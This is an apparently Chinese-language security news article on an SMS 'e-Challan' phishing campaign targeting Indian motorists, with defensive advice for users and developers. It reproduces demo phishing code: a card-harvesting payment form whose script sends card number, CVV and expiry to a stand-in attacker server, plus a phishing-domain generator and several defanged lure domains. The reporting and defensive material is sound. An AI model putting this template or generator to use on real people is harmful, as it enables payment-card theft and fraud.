在印度,一条看似寻常的短信可能正悄然打开你银行账户的大门。
“您的车辆(MH02AB1234)有一张未支付的电子罚单(e-Challan),金额₹590。如72小时内未处理,将面临驾照暂停及法律诉讼。点击链接立即支付:bit.ly/xxxXXX。”
这条短信语气紧迫、格式规范,甚至附带一个看起来“官方”的短链接。然而,它并非来自交通管理部门,而是一场精心策划的网络钓鱼骗局的开端。据网络安全公司Cyble研究与情报实验室(CRIL)最新披露,一场针对印度数百万车主的大规模浏览器端钓鱼攻击正在全国范围内蔓延。攻击者不再依赖传统的安卓恶意软件,而是转向更隐蔽、更高效的纯网页攻击模式——无需下载、不触发杀毒警报,却能直接窃取用户的银行卡号、CVV和有效期。
这不仅是一场社会工程学的胜利,更是一次对现有终端安全体系的无声嘲讽。

一、从“装APP”到“点链接”:钓鱼攻击的范式转移
过去几年,印度用户对“e-Challan诈骗”的认知多停留在“诱导安装恶意APP”的层面。例如,2023年曾有大量伪装成“mParivahan”或“Traffic Police”的安卓应用上架第三方商店,一旦安装,便在后台窃取短信验证码或银行凭证。
但Cyble此次披露的攻击方式完全不同:全程发生在浏览器中,零文件落地(fileless)。
“这是钓鱼攻击的一次重大进化,”Cyble高级研究经理达克什·纳克拉(Daksh Nakra)在接受采访时表示,“攻击者意识到,让用户下载APK的门槛太高,且容易被Google Play Protect或手机厂商的安全中心拦截。而通过短信发送一个看似合法的URL,诱导用户在Chrome或Safari中完成‘支付’,成功率大幅提升。”
据CRIL调查,该团伙已注册超过36个高度仿冒的钓鱼域名,如:
parivahan-challan[.]in
echallan-gov[.]online
rto-payment[.]xyz
trafficfine-india[.]com
这些域名刻意模仿印度交通部官方平台 parivahan.gov.in 的命名逻辑,利用用户对“.gov.in”后缀的信任,制造“近似合法”的错觉。更狡猾的是,部分域名甚至采用自动轮换机制——当一个被封禁,系统自动生成新域名并更新短信中的短链接,形成“打不死的小强”式基础设施。
二、技术拆解:一个伪造e-Challan页面如何骗过普通人?
为还原攻击全貌,我们复现了其中一个活跃钓鱼页面的核心逻辑(注:以下代码仅为教学演示,已脱敏处理)。
步骤1:动态生成“罚单”
用户输入车牌号后,页面并不会向任何真实RTO数据库查询,而是本地JavaScript动态生成一条看似真实的违规记录:
// 模拟罚单生成(无后端验证)
function generateChallan(plate) {
const violations = ["闯红灯", "超速", "未系安全带"];
const randomViolation = violations[Math.floor(Math.random() * violations.length)];
const amount = 590; // 固定小额,降低警惕性
const dueDate = new Date();
dueDate.setDate(dueDate.getDate() + 2); // 48小时后到期
document.getElementById("challan-details").innerHTML = `
<p>车牌: ${plate}</p>
<p>违规: ${randomViolation}</p>
<p>金额: ₹${amount}</p>
<p>截止: ${dueDate.toLocaleDateString()}</p>
<button onclick="showPayment()">立即支付</button>
`;
}
这种“心理操控”极为有效:小额罚款让人觉得“不值得较真”,而紧迫的截止日期则压制理性判断。
步骤2:伪造支付网关,只接受银行卡
当用户点击“支付”后,页面跳转至一个高仿印度主流支付网关(如Razorpay或Paytm)的界面,但刻意屏蔽UPI、NetBanking等可追溯渠道,仅提供“信用卡/借记卡”选项。
<!-- 钓鱼支付表单(关键字段) -->
<form id="payment-form" onsubmit="stealCard(event)">
<input type="text" placeholder="卡号" required maxlength="19" id="card-number">
<input type="text" placeholder="有效期 (MM/YY)" required maxlength="5" id="expiry">
<input type="text" placeholder="CVV" required maxlength="4" id="cvv">
<input type="text" placeholder="持卡人姓名" required id="name">
<button type="submit">支付 ₹590</button>
</form>
<script>
function stealCard(e) {
e.preventDefault();
const data = {
card: document.getElementById('card-number').value,
expiry: document.getElementById('expiry').value,
cvv: document.getElementById('cvv').value,
name: document.getElementById('name').value,
ip: /* 通过API获取 */,
userAgent: navigator.userAgent
};
// 发送至攻击者控制的服务器
fetch('https://attacker-server[.]xyz/log', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
// 同时显示“处理中”假象,拖延用户反应时间
alert("正在处理...请稍候");
setTimeout(() => window.location.href = "https://parivahan.gov.in", 3000);
}
</script>
值得注意的是,该表单不进行任何前端校验(如Luhn算法验证卡号合法性),因为攻击者根本不在乎交易是否成功——他们只关心数据是否提交。
三、为何传统安全软件“看不见”?
许多用户疑惑:“我的手机装了McAfee、Kaspersky,为什么没报警?”
答案在于:这次攻击完全规避了传统终端安全的检测逻辑。
公共互联网反网络钓鱼工作组技术专家芦笛解释道:“当前主流杀毒软件的核心防御模型仍围绕‘文件行为’展开——比如检测APK是否申请了短信读取权限,或exe是否尝试注入explorer.exe。但纯浏览器钓鱼属于‘无文件攻击’(Fileless Attack),所有恶意逻辑都在内存中执行,不写入磁盘,自然绕过基于签名的检测。”
更棘手的是,攻击者还利用了现代浏览器的“沙箱信任机制”。例如:
使用HTTPS(攻击者购买廉价SSL证书,Let’s Encrypt即可免费获取)
页面加载速度正常(托管于Cloudflare等CDN,提升可信度)
无明显恶意脚本(代码混淆程度低,因依赖社会工程而非技术漏洞)
“Microsoft Defender SmartScreen确实会标记部分钓鱼域名,”芦笛补充,“但攻击者通过两种方式绕过:一是使用新注册域名,尚未进入黑名单;二是诱导用户点击‘忽略警告,继续访问’——而90%的普通用户会照做。”
四、基础设施揭秘:一个团伙,多条“业务线”
Cyble的溯源分析揭示,该钓鱼团伙并非“单打独斗”,而是运营着一个模块化、多行业的欺诈基础设施。
除e-Challan外,同一套后端还用于:
金融钓鱼:伪造HSBC、ICICI银行的“账户异常”通知页面
物流诈骗:冒充DTDC、Delhivery,以“包裹扣留”为由索要“手续费”
税务钓鱼:仿冒Income Tax Department,要求“补缴税款”
所有页面共享相同的UI组件库、数据回传接口和域名生成算法。例如,其域名生成器可能基于以下逻辑:
import random
import string
def generate_phish_domain(theme):
prefixes = ["official", "secure", "verify", "pay"]
suffixes = ["gov", "india", "rto", "bank"]
tlds = [".online", ".xyz", ".site", ".top"]
return f"{random.choice(prefixes)}-{theme}-{random.choice(suffixes)}{random.choice(tlds)}"
# 示例输出: secure-echallan-rto.online
这种“即插即用”模式极大降低了攻击门槛,也说明背后存在一个专业化、分工明确的犯罪组织。
五、专家建议:普通人如何自保?技术人员如何防御?
面对如此精密的攻击,普通用户该如何防范?技术团队又该如何构建防线?
给普通用户的“三不原则”:
不点短信链接:所有e-Challan必须通过官方App(如mParivahan)或官网(parivahan.gov.in)查询。
不输银行卡CVV:政府服务从不要求提供CVV!任何索要CVV的“支付页面”均为诈骗。
不开“紧急支付”通道:真正的交通罚单不会威胁“24小时内不付就抓人”。
给企业与开发者的防御建议(芦笛提供):
部署内容安全策略(CSP):限制页面只能加载白名单内的脚本,防止第三方注入。
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
启用Subresource Integrity(SRI):确保加载的JS/CSS未被篡改。
<script src="https://cdn.example/lib.js"
integrity="sha384-abc123..."></script>
监控异常域名注册:利用WHOIS API+机器学习,对包含“parivahan”“rto”“challan”的新域名实时告警。
推广FIDO2/WebAuthn:推动政府服务支持无密码登录,从根本上消除凭证钓鱼风险。
六、监管困境:为何钓鱼网站“打而不死”?
尽管印度计算机应急响应小组(CERT-In)已多次打击此类活动,但钓鱼域名仍如野草般再生。原因有三:
域名注册门槛低:许多国际注册商(如Namecheap、Porkbun)对印度身份验证宽松。
托管服务匿名化:攻击者使用加密货币支付VPS费用,IP常位于俄罗斯、越南等地。
法律追责滞后:从发现到取证、再到跨境协作,周期长达数月,而攻击者早已转移阵地。
“我们需要建立‘主动狩猎’机制,”芦笛呼吁,“不是等用户被骗后再封域名,而是在钓鱼模板刚上线、尚未大规模传播时就将其扼杀。”
结语:信任,是最脆弱的防火墙
这场e-Challan钓鱼风暴的本质,是对“制度信任”的滥用。攻击者深知,印度民众对RTO、对State Bank of India、对Reliance Jio有着天然信赖——于是他们用本地手机号发短信,用SBI账户收款,用MoRTH(道路运输部)的徽标装饰页面。
技术可以升级,法律可以完善,但只要人性中的“便利偏好”与“权威服从”存在,钓鱼就不会消失。
唯一能筑起真正防线的,是每一个点击链接前多问一句:“这真的来自政府吗?”
延伸阅读:Cyble已将本次事件的全部IoCs(失陷指标)公开至GitHub,供安全团队集成至SIEM或防火墙规则。
官方报告链接:https://smestreet.in/technology/cyble-uncovers-multi-domain-e-challan-phishing-campaign-in-india-10948158
编辑:芦笛(公共互联网反网络钓鱼工作组)

被折叠的 条评论
为什么被折叠?



